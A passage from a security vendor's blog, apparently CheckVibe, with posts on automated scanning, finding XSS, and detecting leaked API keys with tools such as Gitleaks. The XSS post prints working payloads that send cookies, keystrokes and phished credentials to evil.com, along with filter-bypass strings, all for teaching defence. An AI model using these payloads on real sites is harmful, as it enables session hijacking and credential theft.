- SQL injection payloads in form fields and URL parameters
- XSS test strings to check for reflected and stored cross-site scripting
- CSRF probes to test for missing anti-forgery tokens
- Directory traversal attempts to find exposed files
- Authentication bypass attempts

Active scanning is more thorough but carries a small risk of side effects — a poorly designed active scan could trigger rate limiters, create junk records, or cause unexpected behavior. Modern scanners mitigate this by using benign payloads that detect vulnerabilities without exploiting them.

**Best practice:** Use passive scanning on production continuously, and run active scans against staging environments where side effects don't matter.

## How Site Crawling Works

Before a scanner can test your application, it needs to discover all the pages and endpoints to check. This is where site crawling comes in. A crawler is the reconnaissance phase — it maps your application's attack surface so scanners know what to test.

### Breadth-First Search (BFS) Crawling

Modern crawlers use breadth-first search to systematically discover pages. Starting from your root URL, the crawler:

1. Fetches the initial page and extracts all links
2. Visits each discovered link at the same depth level
3. Extracts new links from those pages
4. Moves to the next depth level
5. Repeats until reaching the configured depth limit

This approach ensures broad coverage before going deep, which matters when you're working with time-limited scans.

### Respecting robots.txt

A well-behaved crawler checks `robots.txt` before crawling — not to skip those paths (attackers won't respect your robots.txt either), but to discover paths you might not have linked publicly. Your `robots.txt` often reveals:

- Admin panels (`Disallow: /admin`)
- API endpoints (`Disallow: /api/`)
- Internal tools (`Disallow: /internal/`)

These are exactly the paths a security scanner should check.

### Sitemap.xml Discovery

The crawler also parses `sitemap.xml` to find pages that may not be linked from the main navigation. Sitemaps are especially useful for discovering:

- Blog posts and content pages
- Product pages in e-commerce apps
- Dynamically generated routes

### JavaScript Route Extraction

Single-page applications (SPAs) built with React, Vue, or Angular don't have traditional server-rendered links. A modern crawler handles this by:

- Detecting SPA frameworks from bundle analysis
- Extracting route definitions from JavaScript bundles (e.g., React Router paths, Next.js page routes)
- Identifying dynamic route patterns (`/users/:id`, `/posts/[slug]`)

Without JavaScript-aware crawling, a scanner would miss most of the attack surface in a modern SPA.

## The 100+ Checks Every Website Needs

At CheckVibe, we built our scanner suite around the most common and most dangerous vulnerability categories. Here's what a comprehensive scan covers:

### Infrastructure & Configuration
- **Security Headers** — CSP, HSTS, X-Frame-Options, X-Content-Type-Options
- **SSL/TLS** — certificate validity, protocol version, cipher strength
- **DNS** — DNSSEC, SPF, DKIM, DMARC configuration
- **CORS** — overly permissive cross-origin policies
- **Cookie Security** — Secure, HttpOnly, SameSite flags

### Application Security
- **SQL Injection** — error-based, time-based, and blind SQLi detection
- **Cross-Site Scripting (XSS)** — reflected, stored, and DOM-based XSS
- **CSRF** — missing or weak cross-site request forgery protection
- **Open Redirects** — URL redirect vulnerabilities that enable phishing
- **File Upload** — unrestricted upload endpoints

### Secrets & Exposure
- **API Key Detection** — exposed keys for AWS, Stripe, Supabase, Firebase, and dozens more
- **GitHub Secrets** — leaked credentials in public repositories
- **Tech Stack Detection** — identifies frameworks, libraries, and versions

### Backend-Specific
- **Supabase** — RLS policies, exposed service keys, public table access
- **Firebase** — security rules, exposed config, unauthenticated access
- **Hosting Provider** — Vercel, Netlify, Cloudflare-specific misconfigurations

### Advanced
- **DDoS Protection** — WAF presence, CDN configuration, rate limiting
- **Domain Hijacking** — DNS takeover risks, expired registrations
- **Vibe Coding Detection** — AI-generated code patterns that introduce vulnerabilities

## Handling Authentication: Logged-In vs. Unauthenticated Scanning

One of the most common questions about automated scanning is: "How do I scan pages that require login?"

### Unauthenticated Scanning

Most automated scanners run unauthenticated by default. This tests what an anonymous attacker can see and access — your public-facing attack surface. Unauthenticated scans catch:

- Exposed API keys in public JavaScript bundles
- Missing security headers on public pages
- SSL/TLS configuration issues
- Publicly accessible API endpoints that should be protected
- Information disclosure in error pages

### Authenticated Scanning

For apps with login-protected pages, authenticated scanning expands coverage dramatically. Techniques include:

- **Session tokens** — providing a valid session cookie or JWT so the scanner can access authenticated routes
- **Credential-based** — giving the scanner test credentials to perform login automatically
- **Header injection** — passing custom authentication headers with each request

**Important:** Always use a dedicated test account for authenticated scanning — never scan with production admin credentials. If the scanner encounters a destructive action (like a delete button), you want it happening to test data, not real data.

## Dealing With False Positives

No automated scanner is perfect. False positives — findings that flag something as a vulnerability when it isn't one — are an inevitable part of automated scanning. Here's how to handle them effectively:

### Why False Positives Happen

- **Context limitations** — the scanner doesn't understand your business logic. It might flag a public API endpoint as "unauthenticated" when it's intentionally public.
- **Pattern matching** — a high-entropy string in your JavaScript might look like an API key but is actually a hash or ID.
- **Framework defaults** — some frameworks handle security at a layer the scanner can't observe (e.g., CSRF tokens embedded in framework middleware).

### Strategies for Managing False Positives

1. **Triage by severity** — focus on critical and high findings first. Low-severity false positives can wait.
2. **Dismiss with context** — good scanners let you dismiss findings with a reason. This prevents the same false positive from appearing in future scans.
3. **Verify manually** — before dismissing, take 30 seconds to confirm it's actually a false positive. Many developers dismiss real findings as false positives because they don't understand the vulnerability.
4. **Track dismissal rates** — if a particular check produces mostly false positives in your stack, that's useful feedback for the scanner vendor.

A well-tuned scanner should have a false positive rate under 10%. If you're dismissing most findings, the scanner isn't well-suited to your stack.

## How to Start Scanning Your Site

Getting started with automated security scanning takes less than a minute:

1. **Enter your URL** — point the scanner at your production site
2. **Run the scan** — all 100+ checks execute in parallel
3. **Review findings** — each issue comes with severity, description, and fix guidance
4. **Fix and rescan** — verify your fixes with another scan

The key is to make scanning a habit, not a one-time event. The best teams scan after every deployment and set up alerts for new critical findings.

## Building Security Into Your Workflow

Automated scanning is most effective when it's integrated into your development workflow:

- **Pre-deployment scans** — catch issues before they reach production
- **Scheduled scans** — run daily or weekly audits automatically
- **CI/CD integration** — add security checks to your GitHub Actions pipeline
- **Webhook alerts** — get notified in Slack or Discord when new vulnerabilities appear

### CI/CD Integration With GitHub Actions

One of the most powerful ways to use automated scanning is in your CI/CD pipeline. Here's how to add CheckVibe scans to a GitHub Actions workflow:

```yaml
name: Security Scan
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - name: Run CheckVibe Security Scan
        run: |
          RESPONSE=$(curl -s -X POST https://checkvibe.dev/api/scan \
            -H "Authorization: Bearer ${{ secrets.CHECKVIBE_API_KEY }}" \
            -H "Content-Type: application/json" \
            -d '{"url": "https://staging.yourapp.com"}')

          SCORE=$(echo $RESPONSE | jq -r '.score')
          CRITICAL=$(echo $RESPONSE | jq -r '.findings[] | select(.severity == "critical") | .id' | wc -l)

          echo "Security Score: $SCORE"
          echo "Critical Findings: $CRITICAL"

          if [ "$CRITICAL" -gt 0 ]; then
            echo "::error::Critical security findings detected!"
            exit 1
          fi
```

This workflow runs a scan on every push to `main` and every pull request. If critical findings are detected, the workflow fails and blocks the merge. This turns security from an afterthought into a gate that code must pass before shipping.

### Monitoring vs. One-Time Scans

There's a fundamental difference between scanning once and monitoring continuously:

**One-time scans** tell you your security posture at a point in time. They're useful after a major release or when onboarding a new tool. But vulnerabilities can be introduced by any deployment, dependency update, or configuration change.

**Continuous monitoring** scans your site on a schedule — daily, weekly, or on every deploy — and alerts you when something changes. This catches:

- New vulnerabilities introduced by code changes
- Dependencies with newly disclosed CVEs
- Certificate expirations before they happen
- Configuration drift (someone disables a security header)

The difference is like getting an annual health checkup vs. wearing a fitness tracker. Both have value, but only one gives you real-time awareness.

## The Cost of Not Scanning

If you're wondering whether automated scanning is worth the investment, consider the costs of a security breach:

- **Direct costs** — incident response, forensic investigation, legal counsel, regulatory fines
- **Customer notification** — mandatory in most jurisdictions, often requiring credit monitoring services
- **Business interruption** — downtime during remediation, lost revenue
- **Reputation damage** — customer trust is hard to rebuild; 65% of breach victims lose trust in the affected company
- **Technical debt** — emergency patches are rarely clean; you'll pay again later to fix the fix

For startups and indie hackers, a breach can mean the end of the business. A $24/month scanning subscription is orders of magnitude cheaper than a $50,000+ breach response.

Security isn't a feature you ship once. It's a practice you maintain continuously. Automated scanning makes that practice sustainable, even for solo developers and small teams.

## FAQ

### What's the difference between a vulnerability scan and a penetration test?

A vulnerability scan is an automated process that checks for known security issues using predefined rules and patterns. It's fast, repeatable, and affordable. A penetration test is a manual engagement where a human security expert actively tries to break into your application, using creativity and contextual understanding to find business logic flaws and chained attack vectors that automated tools miss. Think of vulnerability scanning as a thorough checklist and penetration testing as hiring a creative burglar to test your defenses. Most teams should run automated scans continuously and schedule penetration tests annually or after major architecture changes.

### Can automated scanners find all vulnerabilities?

No. Automated scanners excel at finding known vulnerability patterns — missing headers, exposed keys, SQL injection via common vectors, outdated dependencies with published CVEs. They struggle with business logic flaws (e.g., "a user can apply a discount code twice"), complex multi-step attack chains, and vulnerabilities that require deep understanding of your application's purpose. Automated scanning typically catches 70-80% of common web vulnerabilities, which makes it an excellent first line of defense, but it should be complemented with code review and periodic manual testing for complete coverage.

### How do I scan an app that requires login?

For [authenticated scanning](/blog/what-is-website-security-scanning), you provide the scanner with a valid session token, API key, or test credentials. Most scanners accept a cookie header or Bearer token that gets sent with every request. Always create a dedicated test account with non-admin privileges — you want to test what a regular authenticated user can access, not give the scanner admin powers. For apps using Supabase or Firebase auth, you can generate a JWT from your auth provider and pass it to the scanner.

### Should I scan staging or production?

Both, for different reasons. Scan **staging** with active scanning (including injection tests) before each release — this catches new vulnerabilities without risking production side effects. Scan **production** with passive scanning on a schedule to catch configuration drift, expired certificates, and newly disclosed dependency vulnerabilities. If you can only pick one, scan production — that's what attackers see.

### How long does a security scan take?

A comprehensive automated scan typically completes in 30-90 seconds for a standard web application. The time depends on the number of pages discovered by the [crawler](/blog/what-is-website-security-scanning), the number of checks running, and the response time of your server. A site with 5 pages will scan faster than one with 50 pages. Some scans — particularly those involving dependency analysis or deep JavaScript bundle parsing — may take a few minutes. Compared to a manual penetration test (which takes days to weeks), automated scanning is essentially instant.

---

**Related reading:**
- [What Is Website Security Scanning?](/blog/what-is-website-security-scanning) — a beginner-friendly overview
- [Web App Security Scanner Comparison](/blog/web-app-security-scanner-comparison) — how different scanners stack up
- [How to Check if a Website Is Secure](/blog/how-to-check-if-website-is-secure) — a step-by-step guide for non-technical users

---

*Ready to scan your site? [Try CheckVibe free](https://checkvibe.dev/signup) — 3 scans per month, no credit card required.*


---

## How to Find XSS Vulnerabilities Before Hackers Do

*A practical guide to finding cross-site scripting in your web app: the three types of XSS, and how automated tools actually catch each one.*

Published: 2026-02-18 | Reading time: 13 min read
URL: https://checkvibe.dev/blog/find-xss-vulnerabilities


Cross-site scripting (XSS) has been in the OWASP Top 10 for over a decade and it's not going anywhere. Despite being well-understood, XSS remains one of the most common vulnerabilities in web applications -- especially in apps built quickly with modern JavaScript frameworks.

The consequences of XSS are severe: session hijacking, credential theft, defacement, malware distribution, and full account takeover. In this guide, we will break down each type of XSS with real exploit examples, show you framework-specific pitfalls (especially in React), and give you a concrete prevention strategy.

## The Three Types of XSS

### Reflected XSS

Reflected XSS happens when user input is immediately echoed back in the response without sanitization. A classic example is a search page that displays "No results for [your query]" -- if the query isn't escaped, an attacker can inject a script tag.

```
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
```

The payload isn't stored anywhere. It's "reflected" from the URL or form submission directly into the page. The attacker tricks a victim into clicking a crafted link (via email, social media, or another website), and the script executes in the victim's browser session.

Here is what a vulnerable server-side handler looks like:

```typescript
// VULNERABLE: Express route reflecting input without escaping
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>Search results for: ${query}</h1>`);
  // If query is <script>alert(1)</script>, it executes in the browser
});
```

And the fixed version:

```typescript
import escapeHtml from 'escape-html';

app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q ?? '');
  res.send(`<h1>Search results for: ${query}</h1>`);
  // <script> becomes &lt;script&gt; -- rendered as text, not executed
});
```

Reflected XSS is the most common type found by automated scanners because the inject-and-observe pattern is straightforward to automate.

### Stored XSS

Stored XSS is more dangerous because the malicious payload persists. Think of a comment field, user profile, or product review that accepts HTML or Markdown. If the input isn't sanitized before storage and rendering, every user who views that content executes the attacker's script.

Common injection points:
- User profile fields (display name, bio)
- Comments and reviews
- Forum posts and messages
- File names and metadata

Here is a concrete exploit scenario. An attacker sets their display name to:

```html
<img src=x onerror="fetch('https://evil.com/log?cookie='+document.cookie)">
```

Every time another user views a page listing members or comments from this attacker, the `onerror` handler fires and silently sends the victim's session cookie to the attacker's server. The image tag with a broken `src` is invisible -- the victim sees nothing.

A more damaging stored XSS payload might install a keylogger:

```html
<script>
document.addEventListener('keydown', e => {
  fetch('https://evil.com/keys', {
    method: 'POST',
    body: JSON.stringify({ key: e.key, url: location.href }),
  });
});
</script>
```

This captures every keystroke the victim types on the page -- passwords, credit card numbers, private messages -- and exfiltrates them in real time.

### DOM-Based XSS

DOM-based XSS happens entirely in the browser. The server response is safe, but client-side JavaScript reads from an untrusted source (like `window.location.hash`) and writes it into the DOM without sanitization.

```javascript
// VULNERABLE: DOM-based XSS via location.hash
const name = decodeURIComponent(window.location.hash.slice(1));
document.getElementById('greeting').innerHTML = `Welcome, ${name}!`;

// Attack URL: https://example.com/page#<img src=x onerror=alert(document.cookie)>
```

Modern single-page applications are particularly vulnerable because they do heavy DOM manipulation on the client side. The server never sees the payload (it's in the URL fragment after `#`), so server-side sanitization cannot catch it.

Other dangerous DOM sinks include:

```javascript
// All of these are XSS sinks if the input is untrusted:
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
document.writeln(userInput);
eval(userInput);
setTimeout(userInput, 0);
element.setAttribute('onclick', userInput);
element.style.cssText = userInput;
```

The fix is to use safe DOM APIs:

```javascript
// SAFE: textContent does not parse HTML
document.getElementById('greeting').textContent = `Welcome, ${name}!`;
```

## React-Specific XSS Vectors

React's JSX auto-escapes string interpolation by default, which prevents most XSS. But there are important exceptions that developers must know about.

### dangerouslySetInnerHTML

The name is a warning, but developers use it anyway -- often to render rich text from a CMS, Markdown content, or HTML emails.

```tsx
// VULNERABLE: renders raw HTML without sanitization
function Comment({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// If `html` comes from user input, this is stored XSS.
```

The fix is to sanitize the HTML before rendering:

```tsx
import DOMPurify from 'dompurify';

function Comment({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
```

### href="javascript:" Protocol

React does not block `javascript:` URLs in `href` attributes. If a user-supplied URL is passed to an anchor tag, it can execute arbitrary JavaScript:

```tsx
// VULNERABLE: user-controlled href
function UserLink({ url }: { url: string }) {
  return <a href={url}>Visit profile</a>;
}

// If url is "javascript:alert(document.cookie)", it executes on click.
```

The fix:

```tsx
function UserLink({ url }: { url: string }) {
  const safeUrl = url.startsWith('http://') || url.startsWith('https://')
    ? url
    : '#';
  return <a href={safeUrl} rel="noopener noreferrer">Visit profile</a>;
}
```

### Server Components and SSR Injection

In Next.js server components, if you interpolate user data into raw HTML strings (not JSX), you bypass React's auto-escaping:

```tsx
// VULNERABLE: string concatenation in server component
export default async function Page({ searchParams }: { searchParams: { q: string } }) {
  const query = searchParams.q;
  // If you somehow render this as raw HTML, it's XSS
}
```

In practice, as long as you use JSX `{variable}` syntax (not `dangerouslySetInnerHTML`), React Server Components are safe. The risk comes when developers use template literals to build HTML strings and inject them into the page.

## Sanitization Libraries

### DOMPurify

DOMPurify is the gold standard for HTML sanitization in JavaScript. It works in both browsers and Node.js (via jsdom).

```typescript
import DOMPurify from 'dompurify';

// Basic usage: strips all dangerous elements and attributes
const clean = DOMPurify.sanitize(dirty);

// Strict: only allow specific tags
const strict = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href'],
});

// Remove all HTML, keep only text content
const textOnly = DOMPurify.sanitize(dirty, { ALLOWED_TAGS: [] });

// Server-side (Node.js) usage with jsdom
import { JSDOM } from 'jsdom';
import createDOMPurify from 'dompurify';

const window = new JSDOM('').window;
const purify = createDOMPurify(window);
const serverClean = purify.sanitize(dirty);
```

DOMPurify handles edge cases that regex-based sanitizers miss: nested tags, encoding tricks, SVG/MathML namespace attacks, and mutation XSS.

### sanitize-html (Node.js)

For server-side sanitization without a DOM, `sanitize-html` is a popular choice:

```typescript
import sanitizeHtml from 'sanitize-html';

const clean = sanitizeHtml(dirty, {
  allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'br'],
  allowedAttributes: {
    'a': ['href', 'target'],
  },
  allowedSchemes: ['http', 'https'],  // Blocks javascript: and data: URIs
});
```

### Never Roll Your Own Sanitizer

Regex-based sanitizers are almost always bypassable:

```typescript
// VULNERABLE: naive regex sanitizer
function naiveSanitize(input: string): string {
  return input.replace(/<script.*?>.*?<\/script>/gi, '');
}

// Bypass 1: event handlers
// <img src=x onerror=alert(1)>

// Bypass 2: nested tags
// <scr<script>ipt>alert(1)</script>

// Bypass 3: encoding
// <script>alert&#40;1&#41;</script>
```

Use DOMPurify or sanitize-html. Do not try to build your own.

## How Automated Scanners Detect XSS

Automated XSS detection works by injecting test payloads and observing how the application handles them:

1. **Payload injection** -- the scanner sends crafted strings containing script tags, event handlers, and encoding tricks into every input field, URL parameter, and header
2. **Response analysis** -- it checks whether the payload appears unmodified in the response HTML
3. **DOM inspection** -- for DOM-based XSS, the scanner evaluates JavaScript execution contexts
4. **Context detection** -- payloads vary depending on whether injection lands in HTML body, attributes, JavaScript blocks, or CSS

A good scanner tests dozens of payload variations because simple payloads like `<script>alert(1)</script>` are often blocked by basic filters, while encoded or fragmented payloads slip through.

Example payloads a scanner might test:

```
// Basic
<script>alert(1)</script>

// Event handler (bypasses <script> filters)
<img src=x onerror=alert(1)>

// SVG (bypasses tag allowlists that forget SVG)
<svg onload=alert(1)>

// Encoded (bypasses naive string matching)
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

// Attribute breakout
" onfocus="alert(1)" autofocus="

// JavaScript URL
javascript:alert(1)//

// Template literal injection (in JS contexts)
${alert(1)}
```

## Common XSS Bypasses

Developers often implement incomplete sanitization. Here are patterns that frequently get bypassed:

- **Blocklist filtering** -- blocking `<script>` but not `<img onerror=...>` or `<svg onload=...>`
- **Case sensitivity** -- blocking `<SCRIPT>` but not `<ScRiPt>`
- **Encoding tricks** -- HTML entities, URL encoding, Unicode escapes
- **Nested tags** -- `<scr<script>ipt>` where the filter removes the inner tag, leaving a valid outer tag
- **Event handlers** -- `onmouseover`, `onfocus`, `onerror` on various HTML elements
- **Mutation XSS** -- payloads that are safe as strings but become dangerous when parsed by the browser's HTML parser (e.g., `<noscript><p title="</noscript><img src=x onerror=alert(1)>">`)

## Real-World Impact of XSS

XSS is not just `alert(1)`. Here is what attackers actually do with XSS vulnerabilities.

### Session Hijacking

The most common exploit. The attacker steals the victim's session cookie and uses it to impersonate them:

```javascript
// Attacker's payload
new Image().src = 'https://evil.com/steal?c=' + document.cookie;
```

If session cookies are not marked `HttpOnly`, this single line gives the attacker full access to the victim's account. They can change passwords, exfiltrate data, or make purchases.

### Credential Theft via Fake Login Forms

An attacker injects a convincing login form that overlays the real page:

```html
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;display:flex;align-items:center;justify-content:center;">
  <form action="https://evil.com/phish" method="POST">
    <h2>Session expired. Please log in again.</h2>
    <input name="email" placeholder="Email" />
    <input name="password" type="password" placeholder="Password" />
    <button type="submit">Log In</button>
  </form>
</div>
```

The victim sees what looks like a legitimate login prompt on the real domain. Since the URL bar shows the trusted domain, most users will enter their credentials without suspicion.

### Keylogging

As shown earlier, an attacker can capture every keystroke on the page. This is particularly devastating on pages with payment forms, where credit card numbers and CVVs are typed in.

### Cryptocurrency Mining

Attackers inject scripts that use the victim's CPU to mine cryptocurrency. On high-traffic pages with stored XSS, this generates meaningful revenue for the attacker while degrading the user experience.

### Worm Propagation

On social platforms, XSS can be self-propagating. The injected script makes API calls on behalf of the victim to post the same malicious content to their profile or send it to their contacts, creating an exponentially spreading worm.

## Prevention Checklist

The most effective defense is a layered approach:

**Output encoding** -- escape all dynamic content based on context (HTML, JS, URL, CSS). Use your framework's built-in escaping -- React's JSX auto-escapes by default.

**Content Security Policy** -- deploy a strict CSP that blocks inline scripts. This is the single most effective XSS mitigation. For a full guide on configuring CSP and other security headers, see our [security headers guide](/blog/security-headers-complete-guide):

```
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
```

**Input validation** -- validate and sanitize input on the server side, not just the client. Use allowlists over blocklists.

**HTTPOnly cookies** -- mark session cookies as `HttpOnly` so they can't be stolen via `document.cookie`:

```typescript
// Setting a secure session cookie
res.setHeader('Set-Cookie', [
  `session=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=86400`,
]);
```

**Framework protections** -- use `textContent` instead of `innerHTML`, avoid `dangerouslySetInnerHTML` in React, use `{{ }}` interpolation in Vue (not `v-html`).

**Sanitize user-generated HTML** -- when you must render user HTML (rich text editors, Markdown), always sanitize with DOMPurify:

```tsx
import DOMPurify from 'dompurify';

// In your React component
function RichContent({ html }: { html: string }) {
  const sanitized = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}
```

**Validate URLs** -- before rendering user-supplied URLs in `href` or `src` attributes, ensure they use `http://` or `https://` protocols. Block `javascript:`, `data:`, and `vbscript:` schemes.

**Use SameSite cookies** -- the `SameSite=Strict` or `SameSite=Lax` attribute prevents cookies from being sent on cross-origin requests, mitigating the impact of XSS when combined with CSRF protections. For more on the relationship between XSS and CSRF, see our [CSRF protection guide](/blog/csrf-protection-guide).

## Scanning for XSS With CheckVibe

CheckVibe's XSS scanner tests all accessible input vectors on your site with hundreds of payload variations. It identifies:

- Reflected XSS in URL parameters and form fields
- Missing CSP headers that would mitigate XSS impact
- Unsafe inline script patterns
- Missing HttpOnly flags on session cookies
- DOM-based XSS sinks in client-side JavaScript
- Misconfigured CORS that could amplify XSS impact (see our [CORS guide](/blog/cors-misconfiguration-guide))

Each finding includes the exact payload that succeeded, the affected parameter, and specific remediation steps.

---

## FAQ

### Is React safe from XSS?

React's JSX auto-escapes string interpolation, which prevents the most common XSS vectors. If you write `<div>{userInput}</div>`, React escapes `<`, `>`, `&`, `"`, and `'` so they render as text, not HTML. However, React does **not** protect you in three cases: (1) `dangerouslySetInnerHTML`, which renders raw HTML without any sanitization, (2) `href` attributes that accept `javascript:` URLs, and (3) server-side rendering where you build HTML strings with template literals instead of JSX. If you use `dangerouslySetInnerHTML`, always sanitize the input with DOMPurify first. If you render user-supplied URLs, validate that they start with `http://` or `https://`.

### Can XSS steal passwords?

Yes. XSS can steal passwords in multiple ways. First, if the browser's password manager has auto-filled a login form on the page, an XSS payload can read those values from the form's DOM elements. Second, an attacker can inject a fake login form that looks identical to the real one (same styling, same domain in the URL bar), tricking users into entering their credentials. Third, an XSS keylogger captures every keystroke on the page, including passwords typed into any form. This is why XSS is classified as a high-severity vulnerability -- it gives the attacker the same capabilities as the victim's browser session.

### What's the difference between XSS and CSRF?

XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery) are both client-side attacks, but they work differently. **XSS** injects malicious code that runs *inside* the victim's browser on the trusted site, giving the attacker full access to the page's DOM, cookies (unless HttpOnly), and JavaScript APIs. **CSRF** tricks the victim's browser into making unwanted requests *to* the trusted site from a different site, abusing the fact that browsers automatically attach cookies to same-origin requests. XSS is more powerful because it can do everything CSRF can do and more. In fact, XSS bypasses all CSRF defenses because the malicious script runs in the same origin as the application. For a detailed comparison and defense strategies, see our [CSRF protection guide](/blog/csrf-protection-guide).

### Does CSP prevent all XSS?

No, but a strict Content Security Policy is the single most effective mitigation. A CSP that blocks `unsafe-inline` and `unsafe-eval` in `script-src` prevents inline `<script>` tags and event handlers from executing, which stops the majority of XSS payloads. However, CSP does **not** prevent: (1) XSS via allowed script sources (if your CSP allows `cdn.example.com` and the attacker can host a script there), (2) DOM-based XSS that does not inject new script elements but manipulates existing DOM APIs like `innerHTML`, and (3) XSS in contexts where CSP does not apply, like the `javascript:` protocol in older browsers. CSP should be one layer of your defense, alongside output encoding, input sanitization, and HttpOnly cookies. See our [complete security headers guide](/blog/security-headers-complete-guide) for how to configure CSP correctly.

---

*Find XSS before your users get exploited. [Scan your site now](https://checkvibe.dev/signup) with CheckVibe's automated XSS detection.*


---

## API Key Leak Detection: Stop Exposing Secrets in Your Frontend

*Your API keys may be visible to anyone with a browser. How keys leak through source code, network requests and git history — and how to detect them.*

Published: 2026-02-15 | Reading time: 15 min read
URL: https://checkvibe.dev/blog/api-key-leak-detection


One of the most common security issues we find when scanning websites isn't a sophisticated vulnerability — it's plain-text API keys sitting in publicly accessible JavaScript bundles. It happens more often than you'd think, and the consequences can be severe.

## How API Keys End Up in Your Frontend

### Hardcoded in Source Code

The most obvious leak: a developer puts an API key directly in a JavaScript file, environment variables get bundled by webpack or Vite, and suddenly your secret key is visible to anyone who opens DevTools.

```javascript
// This ends up in your production bundle
const stripe = new Stripe('sk_live_abc123...');
const supabase = createClient(url, 'eyJhbGciOiJIUzI1NiIs...');
```

Environment variables prefixed with `NEXT_PUBLIC_`, `VITE_`, or `REACT_APP_` are intentionally included in client-side bundles. But developers sometimes put secret keys there by mistake.

### Visible in Network Requests

Even if keys aren't in the source code, they might be sent in HTTP headers or URL parameters that anyone can see in the Network tab:

- Authorization headers with service-role keys
- API endpoints with keys as query parameters
- Webhook URLs containing authentication tokens

### Committed to Git History

A key that was in the codebase for even one commit lives in git history forever — unless you rewrite history. Public GitHub repositories are constantly scanned by bots looking for AWS keys, database credentials, and payment processor secrets.

### Leaked Through Error Messages

Stack traces, debug output, and verbose error messages can expose configuration details including API keys, database connection strings, and internal URLs.

## What Attackers Do With Leaked Keys

The impact depends on the key type and permissions:

- **Stripe secret keys** — create charges, issue refunds, access customer data
- **Supabase service_role keys** — bypass Row Level Security, read/write all data
- **AWS keys** — spin up resources (crypto mining), access S3 buckets, delete infrastructure
- **Firebase admin keys** — read/write entire database, manage users
- **SendGrid/Resend keys** — send emails as your domain (phishing campaigns)
- **GitHub tokens** — access private repositories, push malicious code

In many cases, attackers have automated systems that exploit leaked keys within minutes of exposure.

## Detection Techniques

### Pattern Matching

Most API keys follow recognizable patterns:

| Provider | Pattern |
|----------|---------|
| Stripe | `sk_live_`, `sk_test_`, `rk_live_` |
| Supabase | `eyJhbGciOiJIUzI1NiIs...` (JWT) |
| AWS | `AKIA[A-Z0-9]{16}` |
| GitHub | `ghp_`, `gho_`, `ghs_`, `ghu_` |
| Twilio | `SK[a-z0-9]{32}` |
| SendGrid | `SG.[a-zA-Z0-9_-]{22}.[a-zA-Z0-9_-]{43}` |

CheckVibe's API key scanner matches against 50+ known key patterns across all major providers.

### Entropy Analysis

Not all secrets follow known patterns. High-entropy strings (random-looking character sequences) in source code or configuration files often indicate secrets. Entropy analysis flags strings that are statistically likely to be keys or tokens.

### Network Traffic Analysis

Scanning HTTP requests and responses for authentication tokens, bearer headers, and keys passed as parameters catches secrets that don't appear in static source code.

## Scanning Git History for Leaked Secrets

Removing a key from your current code is not enough. If it was ever committed -- even for a single commit, even on a branch that was later deleted -- it lives in your git history and can be extracted. Automated tools make scanning your full repository history straightforward.

### TruffleHog

TruffleHog scans your entire git history for high-entropy strings and known secret patterns. It checks every commit, every branch, and every diff.

```bash
# Install TruffleHog
brew install trufflehog  # macOS
# or
pip install trufflehog   # Python

# Scan a local repository (all history)
trufflehog git file://. --only-verified

# Scan a GitHub repo directly
trufflehog github --repo https://github.com/your-org/your-repo --only-verified

# Scan with JSON output for CI integration
trufflehog git file://. --only-verified --json > trufflehog-results.json
```

The `--only-verified` flag is important: TruffleHog actually tests detected credentials against the provider's API to confirm they are active. This dramatically reduces false positives.

### Gitleaks

Gitleaks is a fast, purpose-built tool for finding secrets in git repositories. It uses a TOML-based rule configuration that is easy to extend with custom patterns.

```bash
# Install Gitleaks
brew install gitleaks  # macOS
# or download from https://github.com/gitleaks/gitleaks/releases

# Scan the entire git history
gitleaks detect --source . -v

# Scan only staged changes (for pre-commit use)
gitleaks protect --staged -v

# Generate a JSON report
gitleaks detect --source . --report-format json --report-path gitleaks-report.json

# Scan with a custom config
gitleaks detect --source . --config .gitleaks.toml
```

A sample custom `.gitleaks.toml` configuration to catch your own key formats:

```toml
[extend]
# Extend the default rules
useDefault = true

[[rules]]
id = "custom-internal-api-key"
description = "Internal API key"
regex = '''cvd_live_[a-f0-9]{32}'''
tags = ["key", "custom"]

[[rules]]
id = "supabase-service-role"
description = "Supabase service role key"
regex = '''eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.[A-Za-z0-9_-]{50,}'''
tags = ["key", "supabase"]
```

### git log Inspection

For quick manual checks, you can use git itself to search history:

```bash
# Search all commits for a specific string
git log -p --all -S 'sk_live_' -- '*.ts' '*.js' '*.env'

# Search for AWS key patterns across all history
git log -p --all -G 'AKIA[A-Z0-9]{16}'

# List all files that ever contained a pattern
git log --all --diff-filter=A --name-only -S 'SUPABASE_SERVICE_ROLE_KEY'
```

## Setting Up Pre-Commit Hooks

The best time to catch a leaked secret is before it enters your repository at all. Pre-commit hooks run automatically before every `git commit` and can block commits that contain secrets.

### Using Gitleaks as a Pre-Commit Hook

```bash
# Install the pre-commit framework
pip install pre-commit

# Or on macOS
brew install pre-commit
```

Create a `.pre-commit-config.yaml` in your repository root:

```yaml
repos:
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.21.2
    hooks:
      - id: gitleaks
```

Then install the hooks:

```bash
pre-commit install

# Test it by trying to commit a file with a fake secret
echo "STRIPE_KEY=sk_live_test123456789012345678" > test-secret.txt
git add test-secret.txt
